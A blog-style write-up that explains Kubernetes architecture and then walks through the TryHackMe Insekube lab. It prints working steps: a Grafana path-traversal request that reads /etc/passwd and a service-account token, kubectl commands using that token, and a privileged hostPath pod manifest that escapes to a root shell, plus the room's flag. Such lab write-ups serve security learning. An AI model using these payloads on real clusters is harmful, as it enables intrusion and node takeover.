Blog on enumeration and exploitation on Kubernetes
In this post I will explain the basic concept of Kubernetes and how to exploit them using an example from a tryhackme room called Insekube
Kubernetes explained
Kubernetes (also known as K8s) is open source software for deploying, scaling and managing containerized applications. As an orchestrator, Kubernetes handles the work of scheduling containers on a cluster and also manages the workloads to ensure they run as you intended.
Kubernetes 101 Architecture
The way Kubernetes is architected is what makes it powerful. Kubernetes has a basic client and server architecture, but it goes way beyond that. Kubernetes has the ability to do rolling updates, it also adapts to additional workloads by auto scaling nodes if it needs to and it can also self-heal in the case of a pod meltdown. These innate abilities provide developers and operations teams with a huge advantage in that your applications will have little to no down time. In this section we provide a brief overview of the master and its worker nodes with a high level overview of how Kubernetes manages workloads.
Master Node:
The Kubernetes master is the primary control unit for the cluster. The master is responsible for managing and scheduling the workloads in addition to the networking and communications across the entire cluster. These are the components that run on the master
Etcd Storage – An open-source key-value data store that can be accessed by all nodes in the cluster. It stores configuration data of the cluster’s state.
Kube-API-Server – The API server manages requests from the worker nodes, and it receives REST requests for modifications, and serves as a front-end to control cluster.
Kube-scheduler – Schedules the pods on nodes based on resource utilization and also decides where services are deployed.
Kube-controller-manager – It runs a number of distinct controller processes in the background to regulate the shared state of the cluster and perform routine tasks. When there is a change to a service, the controller recognizes the change and initiates an update to bring the cluster up to the desired state.
Worker Nodes:
These nodes work under the command of the master note.
Kubelet – Kubelet ensures that all containers in the node are running and are in a healthy state. If a node fails, a replication controller observes this change and launches pods on another healthy pod.
Kube Proxy – Acts as a network proxy and a load balancer. Additionally, it forwards the request to the correct pods across isolated networks in a cluster.
Pods - A pod is the basic building block on Kubernetes. It represents the workloads that get deployed. Pods are generally collections of related containers, but a pod may also only have one container
Containers – Containers are the lowest level of microservice. These are placed inside of the pods and need external IP addresses to view any outside processes.
To read and know about the Kubernetes refer the following resources
Now that we have some basic idea of how kubernetes work, we can move toward how to exploit it. We will use the tryhackme room called Insekube . This room contains a Kubernetes environment
Disclaimer - Due to this room running on a VM it uses minikube which is not exactly the same as running a fully fledged Kubernetes cluster so you might experience some minor differences with a real cluster
After booting the machine for 4-5 minutes perform a nmap scan
root@kali ~/t/insekube# nmap -sC -sV -O 10.10.247.75
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-11 06:54 EST
Stats: 0:01:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 06:55 (0:00:00 remaining)
Nmap scan report for 10.10.247.75
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9f:ae:04:9e:f0:75:ed:b7:39:80:a0:d8:7f:bd:61:06 (RSA)
| 256 cf:cb:89:62:99:11:d7:ca:cd:5b:57:78:10:d0:6c:82 (ECDSA)
|_ 256 5f:11:10:0d:7c:80:a3:fc:d1:d5:43:4e:49:f9:c8:d2 (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Date: Fri, 11 Mar 2022 11:54:22 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 1196
| Connection: close
| <!DOCTYPE html>
| <head>
...
...
Visiting port 80
RCE
As we know that the website has a check functionality we can try some basic OS command injection commands from. From the below cheatsheet we can try some commands
Kubernetes exposes an HTTP API to control the cluster. All resources in the cluster can be accessed and modified through this API. The easiest way to interact with the API is to use the kubectl CLI. You could also interact with the API directly using curl or wget if you don't have write access and kubectl is not already present.
The Kubectl installation is easy but the machine doesn't have internet connection to do so. However, the binary is located in the /tmp directory. In the event you run into a scenario where the binary is not available, it's as simple as downloading the binary to your machine and serving it (with a python HTTP server for example) so it is accessible from the container.
Now let's move to the /tmp directory where the kubectl is conveniently located for you and try thekubectl get pods command. You'll notice a forbidden error which means the service account running this pod does not have enough permissions.
challenge@syringe:/tmp$ ./kubectl get pods
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:syringe" cannot list resource "pods" in API group "" in the namespace "default"
Kubernetes Secrets
Kubernetes stores secret values in resources called Secrets these then get mounted into pods either as environment variables or files. You can use kubectl to list and get secrets. The content of the secret is stored base64 encoded.
challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl get secrets
./kubectl get secrets
NAME TYPE DATA AGE
default-token-8bksk kubernetes.io/service-account-token 3 63d
developer-token-74lck kubernetes.io/service-account-token 3 63d
secretflag Opaque 1 63d
syringe-token-g85mg kubernetes.io/service-account-token 3 63d
Use kubectl describe secret secretflag to list all data contained in the secret. Notice the flag data isn't being outputted with this command.
Some interesting Kubernetes objects to look for would be nodes, deployments, services, ingress, jobs. But the service account you control does not have access to any of them. However, by default Kubernetes creates environment variables containing the host and port of the other services running in the cluster.
Kubernetes will create a hostname for the name of the service so you can access the service at http://grafana:3000 or the Grafana endpoint in my case http://10.108.133.228:3000.
Using curl to interact with the Grafana endpoint
challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl 'http://10.108.133.228:3000'
curl 'http://10.108.133.228:3000'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 29 100 29 0 0 7250 0 --:--:-- --:--:-- --:--:-- 7250
<a href="/login">Found</a>.
Login page found. Extracting the username using grep.
challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl 'http://10.108.133.228:3000/login' | grep version
<l 'http://10.108.133.228:3000/login' | grep version
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 28089 0 28089 0 0 6857k 0 --:--:-- --:--:-- --:--:-- 6857k
alert('Your browser is not fully supported, please try newer version.');
settings: {"alertingEnabled":false,"alertingErrorOrTimeout":"alerting","alertingMinInterval":1,"alertingNoDataOrNullValues":"no_data","allowOrgCreate":false,"appSubUrl":"","appUrl":"http://localhost:3000/","applicationInsightsConnectionString":"","applicationInsightsEndpointUrl":"","authProxyEnabled":false,"autoAssignOrg":true,"awsAllowedAuthProviders":["default","keys","credentials"],"awsAssumeRoleEnabled":true,"azure":{"cloud":"AzureCloud","managedIdentityEnabled":false},"buildInfo":{"buildstamp":1637855786,"commit":"8d74cc357","edition":"Enterprise","env":"production","hasUpdate":false,"hideVersion":false,"isEnterprise":false,"latestVersion":"","version":"8.3.0-beta2"},
Lateral Movement
Kubernetes stores the token of the service account running a pod in /var/run/secrets/kubernetes.io/serviceaccount/token. Using the LFI Vulnerability to extract the token. The token is a JWT signed by the cluster.
challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl --path-as-is http://10.108.133.228:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
<lugins/alertlist/../../../../../../../../etc/passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1230 100 1230 0 0 300k 0 --:--:-- --:--:-- --:--:-- 400k
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
After that loading the token.
challenge@syringe-79b66d66d7-7mxhd:/tmp$ curl --path-as-is http://10.108.133.228:3000/public/plugins/alertlist/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token
</var/run/secrets/kubernetes.io/serviceaccount/token
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1022 100 1022 0 0 499k 0 --:--:-- --:--:-- --:--:-- 499k
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjc4NTM4MTk4LCJpYXQiOjE2NDcwMDIxOTgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJncmFmYW5hLTU3NDU0Yzk1Y2ItdjRucmsiLCJ1aWQiOiJmMmJkMTczZS1iNjU3LTQyNTMtYTM2NC1lNzA5ZDczMWZhMTIifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRldmVsb3BlciIsInVpZCI6IjE5NjdmYzMwLTQxYjktNDJjZC1hZGI3LWZhYjZkYWUxNDhmNiJ9LCJ3YXJuYWZ0ZXIiOjE2NDcwMDU4MDV9LCJuYmYiOjE2NDcwMDIxOTgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRldmVsb3BlciJ9.ZuIESRMNqaeSX7w3jfUKg27dtBif4fGRHkBEQeViNAmvwZbwezC48dfLME8j2-vv23Kmq7sNqUw6DMjH-Wk-DcY-_k86MYS-01q58KB-cYbqjKByoGZ4QfKz5oKA8cwWaXbo0GOEapoNyDg_Jei_YVduPZ7MWKh9BibMckwwLtlrVqJjXFw9Sn3b0xk4mCusaybGekGoCAxrxQgICamrLKA0D9KLWriymS5dC5xd2q88HkLCdfADpAWeLTdvWd2pXo7kQZaRIXIlvH2NOnH7vw6ENs1_68rGMKK13uzme24tHSn-dbW0khqALCUbK3G5GnVPepovSDKuzXECKIAsQg
Now we need to decode and read the token. Use the jwt.io website below
The account can do * verb on . resource. This means it is a cluster-admin. With this service account, you will be able to run any kubectl command. For example, try getting a list of pods.
challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl get pods --token=${TOKEN}
./kubectl get pods --token=${TOKEN}
NAME READY STATUS RESTARTS AGE
grafana-57454c95cb-v4nrk 1/1 Running 10 (39d ago) 63d
syringe-79b66d66d7-7mxhd 1/1 Running 1 (39d ago) 39d
Now that we have permission, we can directly open a bash shell.
challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl exec -it grafana-57454c95cb-v4nrk --token=${TOKEN} -- /bin/bash
<fana-57454c95cb-v4nrk --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
whoami
grafana
id
uid=472(grafana) gid=0(root) groups=0(root)
hostname
grafana-57454c95cb-v4nrk
You can now close the Grafana pod shell and continue using the first one since it is more stable.Having admin access to the cluster you can create any resources you want. The below article explain how to get access to the Kubernetes nodes by running a pod that mounts the node's file system.
You will need a slight modification because the VM does not have an internet connection, therefore it is not able to pull the ubuntu container image. The image is available in minikube's local docker registry therefore you just need to tell Kubernetes to use the local version instead of pulling it. You can achieve this by adding imagePullPolicy: IfNotPresent to your "bad" pod container. Hightlighted in red are the changes that need to be made in the yml config file. In my case I'm using the cat command utility to write on the terminal and piping the output to the .yml file because we do not have interactive shell.
cat <<EOF > privesc.yml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: ubuntu
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
EOF
Now after this need to create a bad pod with the yml file we have.
The pod is created successfully, we can ensure that the node's file system mounted to the /host. We can spawn a bash shell that will run as root resulting in a root shell.
challenge@syringe-79b66d66d7-7mxhd:/tmp$ ./kubectl exec -it everything-allowed-exec-pod --token=${TOKEN} -- /bin/bash
<hing-allowed-exec-pod --token=${TOKEN} -- /bin/bash
Unable to use a TTY - input is not a terminal or the right kind of file
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
Now we have root shell. To get the flag navigate to /host directory because the root files are mounted to it
cd /host/root
ls
root.txt
cat root.txt
flag{30180a273e7da821a7fe4af22ffd1701}